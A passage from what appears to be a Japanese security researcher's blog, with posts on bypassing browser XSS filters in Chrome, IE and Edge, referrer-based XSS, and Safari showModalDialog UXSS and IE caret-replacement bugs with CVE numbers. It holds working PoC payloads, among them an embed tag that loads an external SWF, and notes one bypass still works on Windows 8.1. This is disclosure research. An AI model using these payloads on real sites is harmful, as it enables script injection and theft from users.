これらの値は、<i>HTMLObjectElement.cpp</i>を見て発見しました。<br /> <blockquote class="tr_bq"> if (url.isEmpty() &amp;&amp; urlParameter.isEmpty() &amp;&amp;<br /> &nbsp; &nbsp; (equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||<br /> &nbsp; &nbsp; &nbsp;equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))<br /> &nbsp; urlParameter = stripLeadingAndTrailingHTMLSpaces(p-&gt;value());</blockquote> <br /> <code>src</code>や<code>movie</code>などと一緒に、<code>code</code>と<code>url</code>も書かれていたので、もしかしたらロードできるかもと思って試したらすんなり動いたというかんじでした。この動作、ソースコードのコメントを見ると、互換性のために残してあるといったことが書いてありますが、この方法ではIE/EdgeやFirefoxではFlashはロードされませんでした。Chromeが互換性という言葉を口にして自分だけ罠にハマっているパターンは珍しいですね。<br /> <br /> シンプルな反射型XSSさえあれば利用可能かつページを開いてからのユーザ操作も不要で、かなり有能なベクターだと思います。</div> <div> <br /></div> <div> ちなみに、バイパスは以下で報告済みです。</div> <div> <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=676992">https://bugs.chromium.org/p/chromium/issues/detail?id=676992</a></div> <div> <br /></div> <div> 便宜上、セキュリティバグとして登録したので、一時的に非公開になっていますが、ChromeのXSS Auditorのバイパスはいつもノーマルバグとして扱われるので、そのうち見れるようになるはずです。</div> <div> <br /></div> <div> 以上です!</div> Unknown[email protected]2tag:blogger.com,1999:blog-8353423932702399963.post-77395121483071895852016-12-07T22:00:00.000+09:002016-12-08T00:23:08.929+09:00ブラウザのXSS保護機能をバイパスする(11)勝手な使命感に駆られて書く<a href="http://www.adventar.org/calendars/1404">脆弱性"&amp;'&lt;&lt;&gt;\ Advent Calendar 2016</a>&nbsp;7日目の記事、3回目の登場です。<br /> <br /> 今日も相変わらずXSSフィルターをバイパスします。<br /> 今回は先月(2016年11月)の更新で塞がれたIEのXSSフィルターのバイパスを簡単に紹介します。<br /> <br /> =================================<br /> <b>追記:</b><br /> Windows 8.1だとまだ動くのを確認しました。<br /> どうも、塞がれたのはWindows 10だけみたいです。ご活用ください!<br /> =================================<br /> <br /> <a href="http://masatokinugawa.l0.cm/2016/12/xss10.html">前回の記事</a>に引き続き、今回も文字列リテラルで起こるバイパスです。<br /> 前回は任意のスクリプト実行とまではいかない部分的なバイパスでしたが、今回のは完全かつとてもシンプルに空いていたバイパスです。こちらです。<br /> <br /> <a href="https://vulnerabledoma.in/xss_js?q=%22i\u006E+alert(1)//">https://vulnerabledoma.in/xss_js?q="i\u006E+alert(1)//</a>&nbsp;(X-XSS-Protection:0 にして試すには<a href="https://vulnerabledoma.in/xss_js?q=%22i\u006E+alert(1)//&amp;xss=0">こちら</a>)<br /> <blockquote class="tr_bq"> &lt;script&gt;var q="<span style="background-color: yellow;">"i\u006E alert(1)//</span>"&lt;/script&gt;</blockquote> <code>in</code>をUnicodeエスケープして、<code>i\u006E</code>と表記することでバイパスできていました。<br /> <br /> モダンなブラウザでは、予約語をUnicodeエスケープすることは禁止されていますが、 IEでは禁止されておらず、<code>in</code>と同じ扱いになります。<br /> <br /> この件は、<a href="https://twitter.com/jxck_">@Jxck_</a>さん主催の<a href="http://jxck.hatenablog.com/entry/next-web-conf-2915">次世代Webカンファレンス</a>に参加中、一週間後に迫るCODE BLUEの資料を、最初に作ったものが諸事情で公開できなくなってしまっため、一からいそいそと作っていたとき、突然気付いたものでした。その時のツイートです:<br /> <br /> <blockquote class="twitter-tweet" data-lang="ja"> <div dir="ltr" lang="ja"> <a href="https://twitter.com/hashtag/nextwebconf?src=hash">#nextwebconf</a> に参加中ですが突然新しいXSSフィルターのバイパス手法を思いつきました。</div> — Masato Kinugawa (@kinugawamasato) <a href="https://twitter.com/kinugawamasato/status/655656393127538689">2015年10月18日</a></blockquote> XSSフィルターの正規表現を眺めていたところ、他の文字列リテラル中で起きる禁止文字列はUnicodeエスケープが一緒に記述されているのに対し、<code>in</code>だけUnicodeエスケープが無いことに気付き、試したところすんなり動いたというかんじでした。<br /> <br /> ちなみに、MicrosoftはこれまでXSSフィルターのバイパスを脆弱性という扱いで修正していましたが、最近方針の変更があり、今後はセキュリティ修正扱いにしないことにしたとのことで、11月の更新プログラムを適用するとバイパスは塞がれるものの、アドバイザリの中ではこの変更については説明されていません。なお、<a href="https://technet.microsoft.com/ja-jp/library/security/mt674627.aspx">謝辞</a>には僕の名前がありますが、これら(CVE-2016-7227 と CVE-2016-7239)はバイパスとは別のバグです。こちらもまた機会を改めて紹介したいと思います。<br /> <br /> バイパスは脆弱性ではないというのはその通りだと思いますし、もともとそう考えていたので、いちいち許可をとらずにブログに書いていましたが、今後、報告中のものも含め公開してもよいという回答を正式に頂いたので、また遠慮なくブログに書かせてもらいます。<br /> <br /> 以上、<a href="http://www.adventar.org/calendars/1404">脆弱性"&amp;'&lt;&lt;&gt;\ Advent Calendar 2016</a>&nbsp;7日目の記事でした。<br /> 明日も書く人が決まっていないみたいなので、どなたか書いてください!<br /> <script async="" charset="utf-8" src="//platform.twitter.com/widgets.js"></script>Unknown[email protected]0tag:blogger.com,1999:blog-8353423932702399963.post-12592420468898502292016-12-05T19:46:00.000+09:002016-12-05T19:52:50.587+09:00ブラウザのXSS保護機能をバイパスする(10)<a href="http://www.adventar.org/calendars/1404">脆弱性"&amp;'&lt;&lt;&gt;\ Advent Calendar 2016</a>&nbsp;の5日目の記事です!<br /> <br /> 今朝、ブラウザで動作を試しながらECMA-262の仕様を読んでいたところ、IEの奇妙な動作を発見し、それがXSSフィルターのバイパスに使えることがわかりました。<br /> 完全なバイパスではありませんが、興味深いものなので共有します。<br /> <br /> XSSフィルターは、単純な反射型のXSSに加えて、文字列リテラル中で起こるXSSも防止しようとします。自分の過去の資料で、文字列リテラルの文脈で遮断される文字列の一部を紹介していますので、以下に貼り付けます。<br /> <br /> <iframe allowfullscreen="" frameborder="0" height="485" marginheight="0" marginwidth="0" scrolling="no" src="//www.slideshare.net/slideshow/embed_code/key/uTk3PwgRAVPLiV?startSlide=65" style="border-width: 1px; border: 1px solid #ccc; margin-bottom: 5px; max-width: 100%;" width="595"> </iframe> <br /> <div style="margin-bottom: 5px;"> <strong> <a href="https://www.slideshare.net/masatokinugawa/ss-51723687" target="_blank" title="SecurityCamp2015「バグハンティング入門」">SecurityCamp2015「バグハンティング入門」</a> </strong> from <strong><a href="https://www.slideshare.net/masatokinugawa" target="_blank">Masato Kinugawa</a></strong> </div> <br /> 今回注目したいのがこの中の<code>valueOf=</code>です。この資料をまとめたとき、<code>valueOf=</code>をなぜ遮断する必要があるのかよくわかりませんでした。<br /> <br /> 確かに、あらかじめ定義された関数であれば、次のような形式で、フィルターが反応する<code>()</code>を使わずに関数呼び出しができます。<br /> <br /> <a href="https://vulnerabledoma.in/xss_js?q=%22%3Bonload=alert//">https://vulnerabledoma.in/xss_js?q="%3BvalueOf=alert%3B~window//&amp;xss=0</a><br /> <blockquote class="tr_bq"> ";valueOf=alert;~window//</blockquote> ただ、このくらい不自由な呼び出しは、以下のような、イベントへの代入が遮断されないことから、許容されていると考えていました。<br /> <br /> <a href="https://vulnerabledoma.in/xss_js?q=%22%3Bonload=alert//">https://vulnerabledoma.in/xss_js?q="%3Bonload=alert//</a><br /> <blockquote class="tr_bq"> ";onload=alert//</blockquote> ちなみに、この<code>valueOf=</code>は、Eduardoさん・Davidさん発見の以下のベクタとは無関係です。<br /> <br /> <a href="https://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU-2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf#page=14">https://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU-2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf#page=14</a><br /> <blockquote class="tr_bq"> "+{valueOf:location, toString: [].join,0:'jav\x61script:alert\x280)',length:1}//</blockquote> ご覧の通り、お二人のベクタは<code>=</code>を使っていません。自分の資料の中には書いていないのですが、これらは、<code>";{valueOf:</code>や<code>";{toString:</code>といった文字列を遮断する別の正規表現が存在しており、そっちで遮断されます。<br /> <div> <br /></div> 試行錯誤した結果、<code>valueOf=</code>の場合は、イベントへの代入の場合よりも呼び出しが許される関数が多く、例えば、特定要素へのclickなどのメソッド呼び出しがIE8以下のドキュメントモードのページに対してできるようなので、このあたりの手法を止めたいのかも、という風に勝手に解釈しました。(本当のところを知っている人はぜひ教えてください!)<br /> <br /> 以下のページにIEでアクセスして、"go"ボタンを押すと、"important action"というボタンが<code>valueOf=opener.button.click</code>を経由してクリックされるのが確認できます。<br /> <br /> <a href="https://l0.cm/xssfilter_bypass/valueOf.html">https://l0.cm/xssfilter_bypass/valueOf.html</a><br /> <br /> このとき、<code>valueOf=</code>は遮断して、なぜ<code>toString=</code>は遮断しないのだろうと思ったのですが、toStringに変えて試してみると動きませんでした。普通なら動くべきだと思いますが、IEならそういうおかしなことも起こるだろうと考えて今日まであまり気にしないできました。<br /> <br /> さて、ここから、今回のバイパスの話を始めます。<br /> 今朝、IEでも、<code>toString</code>への代入からclickなどのメソッド呼び出しができることを発見しました。<br /> <br /> なんと、IEは<code>toString=</code>では代入に失敗するのに、<code><span style="color: red;"><b>var</b></span> toString=</code>だと成功するようなのです。こうすると、alertが呼ばれます。<br /> <blockquote class="tr_bq"> var toString=alert;~window</blockquote> <div> <br /> これを利用して、valueOfと同じ要領でclickを呼び出そうとすると、うまくいきました。</div> 以下にIEでアクセスして、goボタンを押すと、 "important action"というボタンが<code>var toString=opener.button.click</code>を経由してクリックされるのが確認できます。<br /> <br /> <a href="https://l0.cm/xssfilter_bypass/toString.html">https://l0.cm/xssfilter_bypass/toString.html</a><br /> <div> <br /> ほとんど使う場面はないかと思いますが、せっかく<code>toString=</code>の面白い動作に気付いたので、部分的でもフィルターのバイパスに繋がることを証明してみました。<code>valueOf=</code>を止めている理由の推測が正しければ、こちらも本来なら遮断したい動作ではないかと思います。</div> <br /> 以上です!<br /> <br /> <a href="http://www.adventar.org/calendars/1404">脆弱性"&amp;'&lt;&lt;&gt;\ Advent Calendar 2016</a>、明日は…、まだ登録されてないっぽいです!誰か書いてください!Unknown[email protected]0tag:blogger.com,1999:blog-8353423932702399963.post-55738596325923431072016-12-01T21:45:00.000+09:002016-12-01T21:54:57.641+09:00ブラウザのXSS保護機能をバイパスする(9)<a href="http://www.adventar.org/calendars/1404">脆弱性"&amp;'&lt;&lt;&gt;\ Advent Calendar 2016</a>&nbsp;の1日目の記事です!<br /> <br /> 毎度おなじみ、XSSフィルターをバイパスするコーナーです。今回は、Edgeでバイパスします。<br /> <br /> Edgeでは、少し前からXMLページでのXSSを遮断するためか、XML namespaceを持ったタグも遮断するようになっています。正規表現をみると、以下のように、遮断されるタグの前にルールが追加されているのがわかります。<br /> <blockquote class="tr_bq"> {&lt;<span style="background-color: yellow;">([^ \t]+?:)?</span>a.*?hr{e}f}<br /> <br /> {&lt;<span style="background-color: yellow;">([^ \t]+?:)?</span>OPTION[ /+\t].*?va{l}ue[ /+\t]*=}<br /> <br /> {&lt;<span style="background-color: yellow;">([^ \t]+?:)?</span>TEXTA{R}EA[ /+\t&gt;]}<br /> <br /> {&lt;<span style="background-color: yellow;">([^ \t]+?:)?</span>BUTTON[ /+\t].*?va{l}ue[ /+\t]*=}<br /> <br /> [...]</blockquote> このルールが追加されてから、皮肉にも、逆に新たなバイパスが生まれてしまいました。こちらです。<br /> <br /> <a href="https://vulnerabledoma.in/char_test?body=%3Cembed/:script%20allowscriptaccess=always%20src=//l0.cm/xss.swf%3E">https://vulnerabledoma.in/char_test?body=%3Cembed/:script%20allowscriptaccess=always%20src=//l0.cm/xss.swf%3E</a><br /> <br /> <blockquote class="tr_bq"> &lt;embed/:script allowscriptaccess=always src=//l0.cm/xss.swf&gt;</blockquote> <br /> Edgeで開くと、外部のFlashがロードされ、スクリプトが実行されるはずです。<br /> <br /> ところで、F12でコンソールを見ると、XSSフィルターはXSSを遮断したというメッセージが出ています。<br /> それでも、Flashをロードしてしまっているのはなぜでしょうか?<br /> <br /> おそらく、XSSフィルターはこのタグをscriptタグとみなしてしまっています。<code>script src=</code>の遮断は、scriptのロードを止めるように設計されており、ページの書換えを行いません。しかし実際にはembedタグなので、scriptのロードの停止は空振りに終わり、<code>embed src=</code>が動作してしまうという寸法です。<br /> <br /> なお、遮断自体は行ったことになるため、<code>X-XSS-Protection:1;mode=block</code>のページではバイパスに失敗します。ちなみに、IEのXSSフィルターにはこのルールが入っていないため、このバイパスは使えません。<br /> <br /> 以上、ご活用ください!<br /> <a href="http://www.adventar.org/calendars/1404">脆弱性"&amp;'&lt;&lt;&gt;\ Advent Calendar 2016</a>&nbsp;、明日は <a href="https://twitter.com/kusano_k">@kusano_k</a>&nbsp;<span id="goog_1930328168"></span><span id="goog_1930328169"></span><a href="https://www.blogger.com/"></a>さんです!Unknown[email protected]0tag:blogger.com,1999:blog-8353423932702399963.post-79567552863451200902016-10-07T14:49:00.000+09:002016-10-07T15:21:30.374+09:00Anniversary Update後のReferrerを使ったXSSEnglish version is here:&nbsp;<a href="http://mksben.l0.cm/2016/10/xss-via-referrer.html">http://mksben.l0.cm/2016/10/xss-via-referrer.html</a><br /> <br /> 今日はXSSのテクニックを紹介する簡単なポストです!<br /> <br /> Windows 10のAnniversary UpdateからIE/Edgeの細かい動作が変わっているようです。<br /> XSSと関係の深い動作もいくつか変更されています。その中の1つに、リファラ文字列に含まれる一部の文字が常にエンコードされるようになった動作があります。以下に具体的に示します。<br /> <br /> 次のような、リファラ文字列を書き出すページがあるとします。<br /> <br /> <a href="https://vulnerabledoma.in/xss_referrer">https://vulnerabledoma.in/xss_referrer</a><br /> <br /> 以前までのIE/Edgeでは、<a href="http://masatokinugawa.l0.cm/2013/10/referrer-xss.html">過去のブログでも取り上げたように</a>、次のようにスクリプト文字列を含んだURLからのリファラを送信することで、XSSが可能でした。<br /> <br /> <a href="javascript:void(location='https://l0.cm/xss_referrer_oldpoc.html?&lt;script&gt;alert(&quot;1&quot;)&lt;/script&gt;')">https://l0.cm/xss_referrer_oldpoc.html?&lt;script&gt;alert("1")&lt;/script&gt;</a><br /> <br /> ところがAnniversary Updateを適用したEdgeやIEで確認すると、<code>"&lt;&gt;</code>といったXSSのカギとなる文字列が次のようにエンコードされてしまいます。<br /> <blockquote class="tr_bq"> HTTP_REFERER: https://l0.cm/xss_referrer_oldpoc.html?<span style="background-color: yellow;">%3Cscript%3Ealert(%221%22)%3C/script%3E</span><br /> document.referrer: https://l0.cm/xss_referrer_oldpoc.html?<span style="background-color: yellow;">%3Cscript%3Ealert(%221%22)%3C/script%3E</span></blockquote> このせいで、単純に書き出すようなケースでXSSができなくなってしまいました。<br /> <br /> 今のところ、現役のWindows 8.1や7のIE11はリファラ文字列をエンコードしないので、XSSが可能なことの証明には困らないのですが、やっぱりWin10でもリファラでXSSしたいですよね!<br /> <br /> 今日は、そんな人達に朗報です。<br /> Win10でリファラ経由でXSSする方法を発見したので、ご紹介したいと思います。<br /> <br /> 説明は一言で終わります。Flashの<code>navigateToURL()</code>を使ってナビゲーションすればまだRefererヘッダに<code>"&lt;&gt;</code>がエンコードされずに入ってくれます。<br /> <br /> 以下にPoCを置きました。Anniversary Update適用済みのWin10のIE/Edgeでアクセスしてみてください。<br /> <br /> <a href="javascript:void(location='https://l0.cm/xss_referrer.swf?&lt;script&gt;alert(1)&lt;/script&gt;')">https://l0.cm/xss_referrer.swf?&lt;script&gt;alert(1)&lt;/script&gt;</a><br /> <br /> ActionScriptのソースコードはこんなかんじです:<br /> <blockquote class="tr_bq"> package {<br /> &nbsp;import flash.display.Sprite;<br /> <span style="white-space: pre;">&nbsp;</span>import flash.net.URLRequest;<br /> <span style="white-space: pre;">&nbsp;</span>import flash.net.navigateToURL;<br /> <span style="white-space: pre;">&nbsp;</span>public class xss_referrer extends Sprite{<br /> <span style="white-space: pre;">&nbsp; </span>public function xss_referrer() {<br /> <span style="white-space: pre;">&nbsp; </span>var url:URLRequest = new URLRequest("https://vulnerabledoma.in/xss_referrer");<br /> <span style="white-space: pre;">&nbsp; </span>navigateToURL(url, "_self");<br /> <span style="white-space: pre;">&nbsp; </span>}<br /> <span style="white-space: pre;">&nbsp;</span>}<br /> }</blockquote> ただ、残念ながら、アクセスしてわかる通り、この方法でうまくいくのは Refererリクエストヘッダを書き出す場合のみで、JavaScriptの<code>document.referrer</code>プロパティはFlash経由のナビゲーションの場合はなぜか空になってしまうようです。残念。<br /> <br /> ちなみに、Adobe Readerの <a href="http://wwwimages.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/js_api_reference.pdf#page=345">submitForm()</a> というJavaScript API経由でもRefererリクエストヘッダにタグ文字を含めることができました。<br /> 以下にPoCがあります。Adobe ReaderプラグインがインストールされたWin10のIE11で動作を確認済みです。<br /> <br /> <a href="javascript:void(location='https://l0.cm/xss_referrer.pdf?&lt;script&gt;alert(1)&lt;/script&gt;')">https://l0.cm/xss_referrer.pdf?&lt;script&gt;alert(1)&lt;/script&gt;</a> <br /> <br /> どうも、プラグイン経由のリクエストが考慮されていないみたいですね。<br /> <br /> <br /> 以上、Anniversary Update以後でも使えるReferrer文字列のXSS手法の紹介でした!<br /> 今月はもう1つか2つブログを書くつもりです。Unknown[email protected]0tag:blogger.com,1999:blog-8353423932702399963.post-17457398025300906782016-09-25T20:12:00.000+09:002016-09-25T23:04:39.066+09:00CVE-2016-4758: SafariのshowModalDialogに存在したUXSSEnglish version is here:&nbsp;<a href="http://mksben.l0.cm/2016/09/safari-uxss-showModalDialog.html">http://mksben.l0.cm/2016/09/safari-uxss-showModalDialog.html</a><br /> <br /> <br /> Safari 10で修正された、<a href="https://developer.mozilla.org/ja/docs/Web/API/Window/showModalDialog">showModalDialog()</a> に存在したUXSSバグについて書きます。<br /> <br /> <a href="https://support.apple.com/en-us/HT207157">https://support.apple.com/en-us/HT207157</a><br /> <blockquote class="tr_bq"> WebKit<br /> Available for: OS X Yosemite v10.10.5, OS X El Capitan v10.11.6, and macOS Sierra 10.12<br /> Impact: Visiting a maliciously crafted website may leak sensitive data<br /> Description: A permissions issue existed in the handling of the location variable. This was addressed though additional ownership checks.<br /> CVE-2016-4758: Masato Kinugawa of Cure53</blockquote> UXSS(Universal XSS)は、ブラウザやプラグインなどのバグによって、Same Origin Policyの制限を超えてXSSできるようなバグのことを言います。はっきりした定義はないと思いますが、一言で普通のXSSと区別するのに便利なので、Webセキュリティ関係の人の間でそこそこ使われている言葉です。<br /> <br /> このバグは2015年6月頃に発見しました。ちょうど、IEのshowModalDialogを使ったXSSフィルターのバイパスの可能性に気付き、記事にしていた頃です。その記事の中で、最後に以下のように書いていたことを覚えている方もいるかもしれません。<br /> <br /> <a href="http://masatokinugawa.l0.cm/2015/06/xss6.html">http://masatokinugawa.l0.cm/2015/06/xss6.html</a><br /> <blockquote class="tr_bq"> 余談ですが、ブログにまとめるために周辺の挙動を改めてみていたら、もっと重大な問題に気がつきました。こっちは修正されたときに改めて書きます。</blockquote> 今から書くことがこの「重大な問題」です。<br /> <br /> なお、iOS版のSafariはshowModalDialog関数が存在しないため影響を受けません。<br /> <br /> <h3> 前提条件</h3> <br /> ターゲットのページに次のような条件が整うと、そのオリジンでXSSを実行できます。<br /> <ol> <li>JavaScriptによるページ遷移を相対URLで行っている。</li> <li>その遷移操作がページの完全なロード後に行われている。</li> </ol> <div> <br /></div> <div> 「JavaScriptによるページ遷移を相対URLで行」うとは、<code>location="/"</code>とか、<code>window.open("/","_blank")</code>などの操作のことです。</div> <div> <br /></div> <div> この条件を満たすページを以下に用意しました。<br /> <br /></div> <div> <a href="https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html">https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html</a></div> <div> <blockquote class="tr_bq"> &lt;script&gt;<br /> function go_top(){<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>location="/index.html";<br /> }<br /> &lt;/script&gt;<br /> &lt;button onclick=go_top()&gt;Top Page&lt;/button&gt;</blockquote> </div> 「Top Page」ボタンをクリックしたときに、<a href="https://vulnerabledoma.in/index.html">https://vulnerabledoma.in/index.html</a>&nbsp;へ移動するだけのページです。<br /> どこにでもありそうな条件ですが、これだけでXSSを実行できます。<br /> <br /> <h3> showModalDialogの利用</h3> <br /> ここで、古き良きshowModalDialog関数を使います。<br /> 先ほどのページをshowModalDialogのダイアログ中に開く、以下のような別オリジンのページを用意します。<br /> <br /> <a href="https://l0.cm/safari_uxss_showModalDialog/example.html">https://l0.cm/safari_uxss_showModalDialog/example.html</a><br /> <blockquote class="tr_bq"> &lt;script&gt;<br /> function go(){<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>showModalDialog("https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");<br /> }<br /> &lt;/script&gt;<br /> &lt;button onclick=go()&gt;go&lt;/button&gt;</blockquote> このページから開いたshowModalDialog内の「Top Page」ボタンをクリックするとどうなるでしょうか?<br /> 普通ならそんなことは聞くまでもなく、showModalDialogを経由せずに閲覧した時と同じように、&nbsp;https://vulnerabledoma.in/index.html&nbsp;へ移動するはずです。<br /> <br /> しかし、Safariではそうはなりませんでした。<span style="background-color: yellow;">http://l0.cm/</span>index.html へ遷移したのです。 https://l0.cm/は<code>showModalDialog()</code>を実行したオリジンであり、明らかに相対URLの基準になるURLを<code>showModalDialog()</code>を実行したページと取り違えています。<br /> <div> <br /></div> <div> この時点で、遷移する相対URLに秘密情報が含まれている場合に、無関係のページから取得できることになります。</div> <div> <blockquote class="tr_bq"> &lt;script&gt;<br /> function navigation(){<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>location="/test?<span style="background-color: yellow;">token=abb29ad9adda09</span>";//取得できてしまう<br /> }<br /> &lt;/script&gt;<br /> &lt;button onclick=navigation()&gt;Click&lt;/button&gt;</blockquote> </div> <div> これだけでも十分脆弱性と言えるまずい動作ですが、さらにXSSへ発展させることはできないか考えてみました。</div> <div> <br /> (なお、基準のURLを間違うのはJavaScriptによる遷移操作のみで、<code>&lt;a&gt;</code>タグによるリンクや、XMLHttpRequestに使うURLなどの遷移操作以外のAPIでは、正しい基準のURLが使われていました。)<br /> <br /></div> <h3> XSSへの発展</h3> <div> <br /> もし、showModalDialogを実行するページの基準のURLを<code>javascript:</code>のURLに変更できるなら、XSSが可能かもしれないと思いました。</div> <div> <a href="https://html5sec.org/#42">html5sec.org によると</a>、Safariは<code>&lt;base&gt;</code>タグに<code>javascript:</code>のURLを指定できるようです。</div> <div> このトリックを使って、showModalDialogを実行するページで、次のように、<code>&lt;base&gt;</code>タグを細工してダイアログを開いてみました。<br /> <br /> <a href="https://l0.cm/safari_uxss_showModalDialog/">https://l0.cm/safari_uxss_showModalDialog/</a></div> <blockquote class="tr_bq"> &lt;!DOCTYPE html&gt;<br /> &lt;html&gt;<br /> &lt;head&gt;<br /> &lt;base href="<span style="background-color: yellow;">javascript://%0Aalert%28document.domain%29%2F/</span>"&gt;<br /> &lt;/head&gt;<br /> &lt;body&gt;<br /> &lt;script&gt;<br /> function go(){<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>showModalDialog("http://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");<br /> }<br /> &lt;/script&gt;<br /> &lt;button onclick=go()&gt;go&lt;/button&gt;<br /> &lt;/body&gt;<br /> &lt;/html&gt;</blockquote> モーダルダイアログ内の「Top Page」ボタンをクリックすると…目論見通り、<code>alert(document.domain)</code>が実行されました!うまくいけば、次の画像のようになります。<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1rKwY3bOftBe_MEbOnwdP-eGRcx4Zla-IyqGytDV0Cy_8yiOXdKJ52BMzWsV1S7OMnC0tpk7fSMZoJRwOMBEcOoAmurai70__HYYC5eZyWP12XDWXBcVxIkGYBXgrIiBt39gHMyGnfNY/s1600/uxss_smd.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="510" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1rKwY3bOftBe_MEbOnwdP-eGRcx4Zla-IyqGytDV0Cy_8yiOXdKJ52BMzWsV1S7OMnC0tpk7fSMZoJRwOMBEcOoAmurai70__HYYC5eZyWP12XDWXBcVxIkGYBXgrIiBt39gHMyGnfNY/s640/uxss_smd.png" width="640" /></a></div> <br /> <br /> このようにして、基準となるURLを取り違えるバグを使って、ターゲットのページに相対URLへの遷移が記述された部分があるだけで、XSSを実行できていました。<br /> <br /> <h3> さいごに</h3> 報告したのが2015年6月なので、修正までに1年以上かかったことになります。結構致命的な問題だと思うので、もうちょっと早く直してほしいところです。<br /> showModalDialogは、その他のブラウザでは廃止されてきており、これを機にサポートをやめると予想していたんですが、Safari 10でもまだ使えるようですね。いつまでサポートするんでしょうか?<br /> <br /> ともかく、まだアップデートしていない方はしましょう!Unknown[email protected]0tag:blogger.com,1999:blog-8353423932702399963.post-63984480632086917222016-07-15T23:11:00.000+09:002016-07-16T00:56:01.713+09:00CVE-2016-3212: XSSフィルターの^への置換動作を利用したXSS<div> English version:&nbsp;<a href="http://mksben.l0.cm/2016/07/xxn-caret.html">http://mksben.l0.cm/2016/07/xxn-caret.html</a><br /> -------------------------------------------------------<br /> <br /> 以前、CODE BLUEでXSSフィルターを利用したXSSの問題について<a href="http://codeblue.jp/2015/contents/speakers.html#speaker-kinugawa">発表しました</a>が、同様の問題が<a href="https://technet.microsoft.com/ja-jp/library/security/ms16-063.aspx">6月のパッチ</a>でCVE-2016-3212として修正されました。この記事では詳細を紹介します。<br /> <br /></div> 以前公開した資料にも<a href="http://www.slideshare.net/masatokinugawa/xxn-ja">書いたように</a>、以前までは、XSSフィルターの遮断規則を攻撃とは無関係の文脈に適用させ、<code>.</code>を<code>#</code>に置換させることで、<code>&lt;script&gt;</code>の<code>src</code>値や<code>&lt;link&gt;</code>の<code>href</code>値を変更することによる攻撃が可能でした。<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwX_jlIvAyeAngNx-1NTdoWR3f0pxb6AWs3gPQ6tD4Aj5PTaiP06vZXSq6Vtx9PRHGO0bBwzQ-hHkoTQDURkk5e5MyEp6z06h_NcVwZxJz8yqPpXpmhzTA8ZyVsiwNPdO0YchlAYJhN0k/s1600/ex4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwX_jlIvAyeAngNx-1NTdoWR3f0pxb6AWs3gPQ6tD4Aj5PTaiP06vZXSq6Vtx9PRHGO0bBwzQ-hHkoTQDURkk5e5MyEp6z06h_NcVwZxJz8yqPpXpmhzTA8ZyVsiwNPdO0YchlAYJhN0k/s400/ex4.png" width="400" /></a></div> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDmXZlpY4cRPekVpsMy3nYxPVrBJRjZRaQ9E36KoN2w05JJ1HZFq_iCV_0pThNOg8ljVIt1YhpZEJ1EhlfT6z0FTtjKWSNtEf2yg1N6_raytUaKK-hU-ouaI-IEsyfzTeq2szb2ahJrX8/s1600/ex5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDmXZlpY4cRPekVpsMy3nYxPVrBJRjZRaQ9E36KoN2w05JJ1HZFq_iCV_0pThNOg8ljVIt1YhpZEJ1EhlfT6z0FTtjKWSNtEf2yg1N6_raytUaKK-hU-ouaI-IEsyfzTeq2szb2ahJrX8/s400/ex5.png" width="400" /></a></div> <br /> <div> 2015年12月、Microsoftはこの問題に対応するために、この遮断規則のみ、<code>#</code>の代わりに<code>^</code>に置換するよう動作を変更しました。これにより確かに、上で示したような攻撃は防げるようになりました。ところが新たな問題を生んでしまいました。この動作変更から数か月後に、実際のアプリケーションで攻撃できることを確認することになります。<br /> <blockquote class="twitter-tweet" data-lang="ja"> <div dir="ltr" lang="ja"> あの全米を失笑させた、IEのXSSフィルターが文字列リテラルでのXSS遮断の文脈で.を#から^の置換に変えた修正のおかげで、逆に新たなXSSが発生し$3133.7を得ることができました。本当にありがとうございます。</div> — Masato Kinugawa (@kinugawamasato) <a href="https://twitter.com/kinugawamasato/status/699748768606912512">2016年2月17日</a></blockquote> <script async="" charset="utf-8" src="//platform.twitter.com/widgets.js"></script> $3133.7という特徴的な金額からもわかるように、これはGoogleの脆弱性報奨金制度を通して得た報酬です。Googleはほとんどのサービスでレスポンスヘッダに<code>X-XSS-Protection: 1;mode=block</code>を指定していましたが、一部つけていないページがありました。これに気付いたからには、XSSフィルターを利用しない手はありません!XSSフィルターによってページの一部分を変更させることでXSSが起き得る箇所がないか、じっくりみてみました。その結果、*.google.com のドメインに設置されたJavadocが吐くHTMLの1か所を変更したとき、XSSが起きることを発見しました!<br /> <br /> 以下にそのページのおおよそのコピーがあります。<br /> どこかの<code>.</code>が<code>^</code>に置換されたとき、XSSが生まれるのがわかるでしょうか?<br /> <br /> <a href="http://vulnerabledoma.in/xxn/xss_javadoc.html">http://vulnerabledoma.in/xxn/xss_javadoc.html</a><br /> <br /> <br /> 答えは以下の黄色の部分にあるドットです。<br /> <blockquote class="tr_bq"> &lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd"&gt;<br /> &lt;!-- NewPage --&gt;<br /> &lt;html lang="en"&gt;<br /> &lt;head&gt;<br /> 